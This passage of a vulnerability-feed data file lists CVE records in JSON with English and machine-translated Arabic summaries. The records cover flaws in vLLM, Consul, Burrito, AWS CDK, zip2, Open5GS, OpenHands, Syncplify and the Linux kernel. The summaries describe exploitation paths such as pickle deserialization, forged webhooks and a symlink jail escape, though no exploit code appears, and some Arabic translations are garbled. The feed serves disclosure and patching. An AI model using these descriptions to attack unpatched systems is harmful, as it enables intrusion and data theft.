ImageMediaIO تمرير بايتات الصور التي يتحكم بها المهاجم إلى Pillow من خلال Image.open(BytesIO(data)) دون تقييد اختيار فئة فك التشفير، ولا تقيد تسمية MIME التنسيق المحدد. وعليه، يمكن لمسارات الطلبات القادرة على معالجة الصور من خلال parse_image() وfetch_image() إرسال حمولة EPS إلى مكونات المضيف. يمكن للمضيف الذي يحتوي على Ghostscript المتأثر بـ CVE-2024-29510 تنفيذ أوامر بصلاحيات عملية vLLM، بينما تستطيع البيئات التي تستخدم Pillow من الإصدار 12.0.0 إلى 12.2.0 تفعيل CVE-2026-59203 وإرهاق عمال تحميل الوسائط. عمليات نشر النظم التي لا تحتوي على التبعية المتأثرة لا تتأثر بذلك التأثير المقابل. تم إصلاح هذه المشكلة في الإصدار 0.32.0."},"refs":[["https://github.com/vllm-project/vllm/commit/710ac56e691d4713feca50a43e6c440f07d373fd","patch"],["https://github.com/vllm-project/vllm/pull/60022","patch"],["https://github.com/vllm-project/vllm/security/advisories/GHSA-h3rc-j82p-2c3h","patch"],["https://github.com/advisories/GHSA-h3rc-j82p-2c3h","advisory"],["https://github.com/vllm-project/vllm/releases/tag/v0.32.0","ref"],["https://nvd.nist.gov/vuln/detail/CVE-2026-115915","ref"]],"epss":0.0066,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"vllm"},{"id":"CVE-2026-105765","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T18:17:28Z","product":"HashiCorp Consul","affected":[["1.17.0 – <2.1.0","2.1.0"]],"title":{"en":"Consul vulnerable to an authorization bypass in the agent's service mesh leaf certificate API","ar":"Consul عرضة لتجاوز المصادقة في واجهة برمجة تطبيقات شهادة الورقة لشبكة خدمات الوكيل"},"summary":{"en":"HashiCorp Consul and Consul Enterprise 1.17.0 up to 2.0.4 are vulnerable to an authorization bypass in the agent's service mesh leaf certificate API that may allow an attacker without a valid ACL token to retrieve a cached service leaf certificate and its private key. This vulnerability (CVE-2026-105765) is fixed in Consul Community Edition 2.1.0 and Consul Enterprise 2.1.0 and 1.21.19.","ar":"تُعد إصدارات HashiCorp Consul و Consul Enterprise من 1.17.0 حتى 2.0.4 عرضة لتجاوز المصادقة في واجهة برمجة تطبيقات شهادة الورقة لشبكة خدمات الوكيل (service mesh leaf certificate API)، مما قد يسمح لمهاجم بلا رمز قائمة تحكم وصول (ACL) صالح باسترداد شهادة ورقة خدمة مخبأة ومفتاحها الخاص. تم إصلاح هذه الثغرة (CVE-2026-105765) في Consul Community Edition 2.1.0 و Consul Enterprise 2.1.0 و 1.21.19."},"refs":[["https://discuss.hashicorp.com/t/hcsec-2026-46-consul-vulnerable-to-an-authorization-bypass-in-the-agents-service-mesh-leaf-certificate-api/77911","ref"]],"epss":0.0024,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hashicorp-consul"},{"id":"CVE-2026-102649","cvss":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:H","cwe":"CWE-306","tags":["Cloud"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-26T18:17:21Z","product":"padok-team burrito","affected":[],"title":{"en":"Burrito: Unauthenticated webhooks trigger unauthorized Terraform plans when webhookSecret is unset","ar":"Burrito: خطافات الويب دون مصادقة تحفز خطط Terraform غير المصرح بها عند إلغاء تعيين webhookSecret"},"summary":{"en":"Burrito is a Terraform Automation Collaboration Software (TACoS) Kubernetes operator. Prior to 0.13.0, `POST /api/webhook` accepts unsigned GitHub and GitLab events when a `TerraformRepository`'s credentials omit `webhookSecret` or set it to an empty value, including credentials configured for git authentication and polling. `Credential.WebhookSecret` is optional, and `go-playground/webhooks` skips signature or token verification when the secret is empty. Anyone who can reach `burrito-server`'s endpoint and knows a tracked repository's URL can forge events to create or delete `TerraformPullRequest` custom resources with attacker-chosen `Branch`, `Base`, and `ID` fields. For GitHub `pull_request` events, the controller fetches changed files using the real pull request number but does not cross-check the payload's branch against that pull request. Pairing a real, existing pull request number with an unrelated existing branch in the same repository can therefore cause an unauthorized `terraform plan` for affected layers using the operator's stored git and cloud credentials. Code analysis also indicates that the resulting plan can be posted to the real pull request's comment thread, exposing and misattributing another branch's infrastructure changes. Auto-apply is disabled for these temporary layers, so this vulnerability alone cannot force a `terraform apply`; plan-time provider and data-source code execution depends on the selected branch's contents. This issue is fixed in version 0.13.0.","ar":"Burrito هو مشغل Kubernetes لأتمتة وتعاونس وتشكيل Terraform (TACoS). قبل الإصدار 0.13.0، تقبل نقطة النهاية `POST /api/webhook` أحداث GitHub و GitLab غير الموقعة عندما تتجاهل بيانات الاعتماد الخاصة بـ `TerraformRepository` قيمة `webhookSecret` أو تضبطها على قيمة فارغة، بما في ذلك بيانات الاعتماد التي تم تكوينها للمصادقة واستطلاع git. تعتبر `Credential.WebhookSecret` اختيارية، ويتخطى `go-playground/webhooks` التحقق من التوقيع أو الرمز المميز عندما يكون السر فارغًا. يمكن لأي شخص يمكنه الوصول إلى نقطة نهاية `burrito-server` ومعرفة رابط مستودع متتبع تزوير أحداث لإنشاء أو حذف موارد مخصصة لـ `TerraformPullRequest` مع حقول `Branch` و `Base` و `ID` يختارها المهاجم. بالنسبة لأحداث `pull_request` في GitHub، يجلب المراقب الملفات المُعدلة باستخدام رقم طلب السحب الحقيقي ولكنه لا يتحقق تقاطع فرع الحمولة مع طلب السحب هذا. وبالتالي، فإن إقران رقم طلب سحب حقيقي وموجود مع فرع موجود غير مرتبط في نفس المستودع يمكن أن يتسبب في خطط `terraform plan` غير مصرح بها للطبقات المتأثرة باستخدام بيانات اعتماد git و السحابة المخزنة للمشغل. يشير تحليل الشيفرة أيضًا إلى أنه يمكن نشر الخطة الناتجة إلى موضوع تعليق طلب السحب الحقيقي، مما يكشف ويعزى التغييرات البنية التحتية لفرع آخر بشكل خاطئ. يتم تعطيل التطبيق التلقائي لهذه المؤقتة الطبقات، لذا فإن هذه الثغرة وحدها لا يمكنها فرض `terraform apply`؛ ويعتمد تنفيذ الشيفرة وقت التخطيط لموفر الخدمة ومصدر البيانات على محتويات الفرع المحدد. تم إصلاح هذه المشكلة في الإصدار 0.13.0."},"refs":[["https://github.com/padok-team/burrito/commit/1d48432a4a0126429c99f5fa42567bf3711d1ca1","ref"],["https://github.com/padok-team/burrito/releases/tag/v0.13.0","ref"],["https://github.com/padok-team/burrito/security/advisories/GHSA-7m68-72r6-3jx8","ref"]],"epss":0.0046,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"padok-team-burrito"},{"id":"CVE-2026-71456","cvss":8.5,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-321","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T17:17:28Z","product":"Johnson Controls Kantech Entrapass","affected":[["0 – <9.20","9.20"]],"title":{"en":"Use of hard-coded cryptographic key vulnerability in Johnson Controls Kantech Entrapass allows Padding Oracle Crypto Attack.","ar":"ثغرة استخدام مفتاح تشفير مدمج في Johnson Controls Kantech Entrapass تسمح بتنفيذ هجوم التشفير Padding Oracle."},"summary":{"en":"Use of hard-coded cryptographic key vulnerability in Johnson Controls Kantech Entrapass allows Padding Oracle Crypto Attack. This issue affects Kantech Entrapass: before 9.20.","ar":"ثغرة استخدام مفتاح تشفير مدمج في Johnson Controls Kantech Entrapass تسمح بتنفيذ هجوم التشفير Padding Oracle. تؤثر هذه المشكلة على Kantech Entrapass: قبل الإصدار 9.20."},"refs":[["https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories","ref"]],"epss":0.001,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"johnson-controls-kantech-entrapass"},{"id":"CVE-2026-115912","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-502","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T17:17:18Z","product":"Vllm Vllm","affected":[[" – <0.32.0","0.32.0"],["< 0.32.0","0.32.0"]],"title":{"en":"vLLM: Public multimodal SHM handle forgery reaches worker-side `pickle.loads()` with insecure serialization disabled","ar":"vLLM: تزوير مقبض الذاكرة المشتركة متعدد الوسائط العام يصل إلى pickle.loads() في جانب العامل مع تعطيل التسلسل غير الآمن"},"summary":{"en":"vLLM is an inference and serving engine for large language models. Prior to 0.32.0, an authenticated caller can place forged shared-memory address and monotonic_id values in public multimodal features.kwargs_data. In scale-out deployments with shared-memory multimodal caching enabled, workers trust those values and pass attacker-selected bytes to pickle.loads(), allowing arbitrary Python execution even when insecure serialization is disabled. This issue is fixed in version 0.32.0.","ar":"يُعد vLLM محرك استنتاج وخدمة لنماذج اللغات الكبيرة. قبل الإصدار 0.32.0، يمكن لمستدعٍ مصادق عليه وضع قيم عنوان ذاكرة مشتركة مزورة وmonotonic_id في ميزات multimodal features.kwargs_data العامة. في عمليات النشر الموسعة مع تمكين التخزين المؤقت متعدد الوسائط في الذاكرة المشتركة، تثق العمال بتلك القيم وتمرر البايتات التي اختارها المهاجم إلى pickle.loads()، مما يسمح بتنفيذ شيفرة Python عشوائية حتى عند تعطيل التسلسل غير الآمن. تم إصلاح هذه المشكلة في الإصدار 0.32.0."},"refs":[["https://github.com/vllm-project/vllm/commit/3d5625cc3c2474994107047d7a6ecb8e4008f9b0","patch"],["https://github.com/vllm-project/vllm/pull/59357","patch"],["https://github.com/vllm-project/vllm/security/advisories/GHSA-6757-hggm-hp2w","patch"],["https://github.com/advisories/GHSA-6757-hggm-hp2w","advisory"],["https://github.com/vllm-project/vllm/releases/tag/v0.32.0","ref"],["https://nvd.nist.gov/vuln/detail/CVE-2026-115912","ref"]],"epss":0.0051,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"vllm"},{"id":"CVE-2026-115418","cvss":7.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-89","tags":["Cloud"],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T17:17:16Z","product":"AWS aws-cdk/aws-redshift-alpha","affected":[["0 – <2.274.0-alpha.0","2.274.0-alpha.0"]],"title":{"en":"SQL injection in the database-query custom resource handlers in Amazon Web Services (AWS) Cloud Development Kit (CDK) @aws-cdk/aws-redshift-alpha","ar":"حقن SQL في معالجات الموارد المخصصة لاستعلامات قواعد البيانات في حزمة Amazon Web Services (AWS) Cloud Development Kit (CDK) @aws-cdk/aws-redshift-alpha"},"summary":{"en":"SQL injection in the database-query custom resource handlers in the Amazon Web Services (AWS) Cloud Development Kit (CDK) @aws-cdk/aws-redshift-alpha module before 2.274.0-alpha.0 could allow a third party who can influence construct property values to run SQL statements with Amazon Redshift superuser privileges, including granting access to all cluster users. The statements are reachable through crafted user names, comments, or passwords. To remediate this issue, users should upgrade to version 2.274.0-alpha.0 or later and review existing table grants to PUBLIC.","ar":"حقن SQL في معالجات الموارد المخصصة لاستعلامات قواعد البيانات في وحدة Amazon Web Services (AWS) Cloud Development Kit (CDK) @aws-cdk/aws-redshift-alpha قبل الإصدار 2.274.0-alpha.0 قد يسمح لطرف ثالث قادر على التأثير على قيم خصائص المكونات بتشغيل تعبيرات SQL بصلاحيات المستخدم الخارق (superuser) في Amazon Redshift، بما في ذلك منح الوصول لجميع مستخدمي الكتلة. يمكن الوصول إلى التعبيرات عبر أسماء مستخدمين أو تعليقات أو كلمات مرور مصممة خصيصاً. لمعالجة هذه المشكلة، يجب على المستخدمين الترقية إلى الإصدار 2.274.0-alpha.0 أو الأحدث ومراجعة منح الجداول الحالية لـ PUBLIC."},"refs":[["https://github.com/aws/aws-cdk/releases#release-v2.274.0","patch"],["https://aws.amazon.com/security/security-bulletins/2026-151-aws/","advisory"],["https://github.com/aws/aws-cdk/security/advisories/GHSA-25hh-xvj4-2cqv","advisory"]],"epss":0.0017,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"aws-cdk-aws-redshift-alpha"},{"id":"CVE-2026-115905","cvss":10,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:L","cwe":"CWE-20","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-26T16:24:44Z","product":"zip-rs zip2","affected":[],"title":{"en":"zip: Critical Parser Differential & Security Control Bypass via Dual-Header Inconsistencies (Zip Cloaking) Leading to Arbitrary File Overwrite & RCE","ar":"مكتبة zip: تفاوت حرج في المحلل اللغوي وتجاوز للتحكم الأمني عبر تناقضات الترويسة المزدوجة (إخفاء ZIP) مما يؤدي إلى الكتابة فوق الملفات تعسفياً وتنفيذ أوامر عن بُعد"},"summary":{"en":"zip is a zip library for Rust that supports reading and writing simple ZIP files. Through 9.0.4, ZipArchive treats Central Directory File Header filenames as authoritative while ZipStreamReader extracts using Local File Header filenames without reconciling the duplicate metadata in src/read/stream.rs. A crafted archive can therefore appear benign to a component that inspects the central directory but cause a streaming extractor to write a different attacker-selected path and content, potentially overwriting files used by a downstream service. This issue is fixed in version 9.0.5.","ar":"مكتبة zip هي مكتبة لغة Rust تدعم قراءة وكتابة ملفات ZIP البسيطة. حتى الإصدار 9.0.4، تتعامل مكتبة ZipArchive مع أسماء ملفات Central Directory File Header باعتبارها موثوقة بينما تقوم ZipStreamReader بالاستخراج باستخدام أسماء ملفات Local File Header دون مطابقة البيانات الوصفية المكررة في src/read/stream.rs. ونتيجة لذلك، يمكن لأرشيف مصمم خصيصاً أن يبدو سليماً لمكون يفحص الدليل المركزي ولكنه يتسبب في قيام مستخرج تدفقي بكتابة مسار ومحتوى مختلفين يختاره المهاجم، مما قد يؤدي إلى الكتابة فوق الملفات المستخدمة بواسطة خدمة لاحقة. تم إصلاح هذه المشكلة في الإصدار 9.0.5."},"refs":[["https://github.com/zip-rs/zip2/security/advisories/GHSA-m665-v7pm-7grj","ref"],["https://github.com/zip-rs/zip2/commit/8068ab480ccf8daa7411424e365fcdbe6d09443e","ref"],["https://github.com/zip-rs/zip2/releases/tag/v9.0.5","ref"]],"epss":0.0032,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"zip-rs-zip2"},{"id":"CVE-2026-85297","cvss":7.7,"vector":null,"cwe":"CWE-340","tags":["Cloud"],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T16:17:23Z","product":"Google Cloud Cloud Run MCP","affected":[["0 – <1.11.0","1.11.0"]],"title":{"en":"Bucket Squatting in Cloud Run MCP leads to Service Account Takeover","ar":"الاستيلاء على الحاويات في Cloud Run MCP يؤدي إلى السيطرة على حساب الخدمة"},"summary":{"en":"Bucket Squatting in Google Cloud Run MCP versions prior to 1.11.0 on Google Cloud Platform allows an attacker to intercept and access proprietary source code, execute arbitrary code and exfiltrate data. Users must upgrade to Cloud Run MCP version 1.11.0 or later.","ar":"الاستيلاء على الحاويات في الإصدارات السابقة لـ 1.11.0 من Google Cloud Run MCP على منصة Google Cloud Platform يتيح للمهاجم اعتراض والوصول إلى الشيفرة المصدرية الخاصة، وتنفيذ شيفرة عشوائية، وتسريب البيانات. يجب على المستخدمين الترقية إلى إصدار Cloud Run MCP 1.11.0 أو الأحدث."},"refs":[["https://github.com/GoogleCloudPlatform/cloud-run-mcp/releases/tag/v1.11.0","ref"]],"epss":0.0031,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-cloud-cloud-run-mcp"},{"id":"CVE-2026-116543","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T16:17:19Z","product":"open5gs open5gs","affected":[["1.3.0 – 2.8.0",null]],"title":{"en":"Open5GS 1.3.0 through 2.8.0 Heap Out-of-Bounds Write via SBI Multipart Parser","ar":"الكتابة خارج حدود الذاكرة المؤقتة للكومة في Open5GS من الإصدار 1.3.0 حتى 2.8.0 عبر محلل متعدد الأجزاء في واجهة SBI"},"summary":{"en":"Open5GS 1.3.0 through 2.8.0 contains a heap out-of-bounds write vulnerability in parse_multipart() that allows unauthenticated attackers to corrupt memory by supplying an empty multipart boundary. Attackers can send a single crafted multipart/related request to the SBI interface of any network function, overflowing the lookbehind buffer and crashing it.","ar":"يحتوي Open5GS من الإصدار 1.3.0 حتى 2.8.0 على ثغرة كتابة خارج حدود الذاكرة المؤقتة للكومة في parse_multipart() والتي تسمح لمهاجمين دون مصادقة بإفساد الذاكرة عن طريق توفير حدود متعددة الأجزاء فارغة. يمكن للمهاجمين إرسال طلب multipart/related واحد مصمم خصيصاً إلى واجهة SBI الخاصة بأي وظيفة شبكية، مما يؤدي إلى فيضان المخزن المؤقت للبحث الخلفي وتعطلها."},"refs":[["https://github.com/open5gs/open5gs/commit/6820c2743b5b5e126e3755d2f92dae2b236732df","patch"],["https://github.com/open5gs/open5gs/security/advisories/GHSA-25v2-v588-jq8g","advisory"],["https://www.vulncheck.com/advisories/open5gs-1.3.0-through-2.8.0-heap-out-of-bounds-write-via-sbi-multipart-parser","advisory"],["https://github.com/open5gs/open5gs","ref"],["https://github.com/open5gs/open5gs/blob/v2.8.0/lib/sbi/contrib/multipart_parser.c#L260","ref"],["https://github.com/open5gs/open5gs/blob/v2.8.0/lib/sbi/message.c#L3372","ref"]],"epss":0.0039,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"open5gs"},{"id":"CVE-2026-116489","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-843","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T16:17:18Z","product":"timescale pgvectorscale","affected":[["0 – <0.9.1","0.9.1"]],"title":{"en":"Timescale pgvectorscale before 0.9.1 Type Confusion via Unqualified DiskANN Operator Classes","ar":"خلط الأنواع في Timescale pgvectorscale قبل الإصدار 0.9.1 عبر فئات مشغلات DiskANN غير المؤهلة"},"summary":{"en":"Timescale pgvectorscale before 0.9.1 contains a type confusion vulnerability that allows low-privileged database users to corrupt memory by shadowing pgvector's vector type or operators. Attackers with CREATE privilege on the vectorscale schema can pre-create shadow objects, then build and query DiskANN indexes over crafted values to cause out-of-bounds reads and writes, disclosing memory, crashing the server, or escalating privileges.","ar":"يحتوي Timescale pgvectorscale قبل الإصدار 0.9.1 على ثغرة خلط أنواع تسمح لمستخدمي قاعدة البيانات ذوي الصلاحيات المنخفضة بإفساد الذاكرة من خلال إخفاء نوع المتجه أو المشغلات الخاصة بـ pgvector. يمكن للمهاجمين الذين لديهم صلاحية CREATE على مخطط vectorscale إنشاء كائنات مخفية مسبقاً، ثم بناء والاستعلام عن فهارس DiskANN على القيم المصممة خصيصاً لتسبب عمليات قراءة وكتابة خارج الحدود، مما يؤدي إلى كشف الذاكرة، أو تعطل الخادم، أو تصعيد الصلاحيات."},"refs":[["https://github.com/timescale/pgvectorscale/commit/1c7cb1cab919ac122f901f163a71f69a264a8f81","patch"],["https://github.com/timescale/pgvectorscale/commit/59d2f573dbd7a1446728ac547576d22f5b05cfaa","patch"],["https://github.com/timescale/pgvectorscale/commit/f42f8cf29c92111add863ccf3255b3bf23fb51cd","patch"],["https://github.com/timescale/pgvectorscale/pull/280","patch"],["https://www.vulncheck.com/advisories/timescale-pgvectorscale-before-0.9.1-type-confusion-via-unqualified-diskann-operator-classes","advisory"],["https://github.com/timescale/pgvectorscale","ref"],["https://github.com/timescale/pgvectorscale/blob/0.9.0/pgvectorscale/src/access_method/build.rs#L253","ref"],["https://github.com/timescale/pgvectorscale/blob/0.9.0/pgvectorscale/src/access_method/mod.rs#L208-L231","ref"],["https://github.com/timescale/pgvectorscale/blob/0.9.0/pgvectorscale/src/access_method/pg_vector.rs#L133-L151","ref"],["https://github.com/timescale/pgvectorscale/releases/tag/0.9.1","ref"]],"epss":0.005,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"timescale-pgvectorscale"},{"id":"CVE-2026-112346","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-1327","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T16:17:14Z","product":"OpenHands OpenHands Software Agent SDK","affected":[["0 – <1.52.0","1.52.0"]],"title":{"en":"OpenHands Software Agent SDK < 1.52.0 Unauthenticated Sandbox Agent Server RCE","ar":"تنفيذ أوامر عن بُعد دون مصادقة على خادم وكيل بيئة الاختبار في OpenHands Software Agent SDK أقل من الإصدار 1.52.0"},"summary":{"en":"OpenHands Software Agent SDK before 1.52.0 contains an unauthenticated remote code execution vulnerability where the DockerWorkspace and Apptainer workspace launchers bind the sandbox agent server to all network interfaces (0.0.0.0) with an empty session_api_keys list, disabling authentication by default. Attackers who can reach the published container port can send unauthenticated HTTP and WebSocket requests to execute arbitrary shell commands as root in the sandbox, access the mounted workspace, and read plaintext secrets from the secrets store.","ar":"يحتوي OpenHands Software Agent SDK قبل الإصدار 1.52.0 على ثغرة تنفيذ أوامر عن بُعد دون مصادقة حيث تقوم مشغلات بيئة عمل DockerWorkspace وApptainer بربط خادم وكيل بيئة الاختبار بكل واجهات الشبكة (0.0.0.0) مع قائمة session_api_keys فارغة، مما يغطل المصادقة افتراضياً. يمكن للمهاجمين الذين يمكنهم الوصول إلى منفذ الحاوية المنشور إرسال طلبات HTTP وWebSocket دون مصادقة لتنفيذ أوامر صدفة عشوائية بصلاحيات الجذر root في بيئة الاختبار، والوصول إلى بيئة العمل المثبتة، وقراءة الأسرار بنص صريح من مخزن الأسرار."},"refs":[["https://github.com/OpenHands/software-agent-sdk/commit/7b66584ff8899144eb4ce679c2811861342af9de","patch"],["https://www.vulncheck.com/advisories/openhands-software-agent-sdk-unauthenticated-sandbox-agent-server-rce","advisory"],["https://github.com/OpenHands/software-agent-sdk/pull/5209","ref"],["https://github.com/OpenHands/software-agent-sdk/releases/tag/v1.52.0","ref"]],"epss":0.0101,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"openhands-software-agent-sdk"},{"id":"CVE-2026-112343","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","cwe":"CWE-41","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T16:17:13Z","product":"Syncplify, Inc. Syncplify Server!","affected":[["0 – <8.8.0","8.8.0"]],"title":{"en":"Syncplify Server! < 8.8.0 Permission Override Bypass via Path Casing","ar":"Syncplify Server! < 8.8.0 تجاوز تجاوز أذونات تجاوز مسار الحالة"},"summary":{"en":"Syncplify Server! before 8.8.0 contains an access control bypass vulnerability that allows authenticated SFTP users to evade per-path permission overrides by exploiting case-insensitive filesystem path resolution and 8.3 short names. Attackers can address a protected directory using alternate capitalization or its 8.3 short name to perform file uploads and downloads that the configured override is intended to deny, resulting in unauthorized file access.","ar":"يحتوي Syncplify Server! قبل الإصدار 8.8.0 على ثغرة تجاوز التحكم في الوصول والتي تسمح لمستخدمي SFTP المصادق عليهم بالتملص من تجاوزات الأذونات لكل مسار عن طريق استغلإل تحليل مسار نظام الملفات غير الحساس لحالة الأحرف والأسماء القصيرة 8.3. يمكن للمهاجمين توجيه الدليل المحمي باستخدام حالة أحرف بديلة أو اسمه القصير 8.3 لتنفيذ عمليات تحميل وتنزيل الملفات التي تهدف التجاوزات التي تم تكوينها إلى رفضها، مما ينتج عنه وصول غير مصرح به للملفات."},"refs":[["https://blog.syncplify.com/p/syncplify-server-v880-released","patch"],["https://www.vulncheck.com/advisories/syncplify-server-permission-override-bypass-via-path-casing","advisory"]],"epss":0.0047,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"syncplify-inc-syncplify-server"},{"id":"CVE-2026-112344","cvss":7.6,"vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","cwe":"CWE-59","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T15:56:29Z","product":"Syncplify, Inc. Syncplify Server!","affected":[["6.0.0 – <8.8.0","8.8.0"]],"title":{"en":"Syncplify Server! 6.0.0 < 8.8.0 Symbolic Link Jail Escape","ar":"برنامج Syncplify Server! الإصدارات من 6.0.0 إلى ما قبل 8.8.0: الهروب من السجن عبر الرموز التعبيرية (Symbolic Link Jail Escape)"},"summary":{"en":"Syncplify Server! 6.0.0 before 8.8.0 contains a path traversal vulnerability that allows attackers with a symbolic link placed inside a user's home folder to access files outside the virtual filesystem root because confinement is enforced only against the requested path and not the on-disk destination of the link. Attackers can leverage a symlink or, on Windows, a directory junction that points outside the jail to read or access restricted files beyond the intended home-folder boundary.","ar":"يحتوي برنامج Syncplify Server! من الإصدار 6.0.0 حتى ما قبل الإصدار 8.8.0 على ثغرة اجتياز للمسار تسمح للمهاجمين الذين يمتلكون رابطًا رمزيًا موضوعًا داخل مجلد منزل المستخدم بالوصول إلى الملفات خارج جذر نظام الملفات الافتراضي، لأن التقييد يتم فرضه فقط على المسار المطلوب وليس على الوجهة الموجودة على القرص للرابط. يمكن للمهاجمين الاستفادة من رابط رمزي أو، على نظام Windows، تقاطع مجلد يشير إلى خارج السجن لقراءة أو الوصول إلى ملفات مقيدة تتجاوز حدود مجلد المنزل المقصود."},"refs":[["https://blog.syncplify.com/p/syncplify-server-v880-released","patch"],["https://www.vulncheck.com/advisories/syncplify-server-symbolic-link-jail-escape","advisory"]],"epss":0.003,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"syncplify-inc-syncplify-server"},{"id":"CVE-2026-99094","cvss":7.5,"vector":"CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-26T15:16:48Z","product":"Linux Linux","affected":[["6.10",null]],"title":{"en":"Bluetooth: btintel_pcie: fix TX descriptor bounds check","ar":"ثغرة عالية الخطورة في Linux Linux"},"summary":{"en":"In the Linux kernel, the following vulnerability has been resolved: Bluetooth: btintel_pcie: fix TX descriptor bounds check btintel_pcie_prepare_tx() uses tfd_index to access the TFD and data buffer arrays before the index is advanced modulo txq->count. An index equal to txq->count is one past the end of both arrays, so reject it in the bounds check.","ar":"In the Linux kernel, the following vulnerability has been resolved: Bluetooth: btintel_pcie: fix TX descriptor bounds check btintel_pcie_prepare_tx() uses tfd_index to access the TFD and data buffer arrays before the index is advanced modulo txq->count. An index equal to txq->count is one past the end of both arrays, so reject it in the bounds check."},"refs":[["https://git.kernel.org/stable/c/08704ec6d4bf69725e7815b09a9b5c7af83e255b","ref"],["https://git.kernel.org/stable/c/2669567615215d52fb306053cbcc1f53dc386158","ref"],["https://git.kernel.org/stable/c/39ab048cce70d50af48015f5f294c4cf80d6ba89","ref"],["https://git.kernel.org/stable/c/baa53af641c9e3644e717b8dfd1b95a55a0c111b","ref"]],"epss":0.0023,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"linux-kernel"},{"id":"CVE-2026-99099","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-26T15:16:48Z","product":"Linux Linux","affected":[["6.15",null]],"title":{"en":"x86/CPU/AMD: Fix AMD TLBI Erratum #1718","ar":"ثغرة عالية الخطورة في Linux Linux"},"summary":{"en":"In the Linux kernel, the following vulnerability has been resolved: x86/CPU/AMD: Fix AMD TLBI Erratum #1718 The processor may fail to invalidate a TLB entry while executing an INVLPGB/TLBSYNC instruction pair. Detect the erratum and apply a software workaround when a microcode fix is not present.","ar":"In the Linux kernel, the following vulnerability has been resolved: x86/CPU/AMD: Fix AMD TLBI Erratum #1718 The processor may fail to invalidate a TLB entry while executing an INVLPGB/TLBSYNC instruction pair. Detect the erratum and apply a software workaround when a microcode fix is not 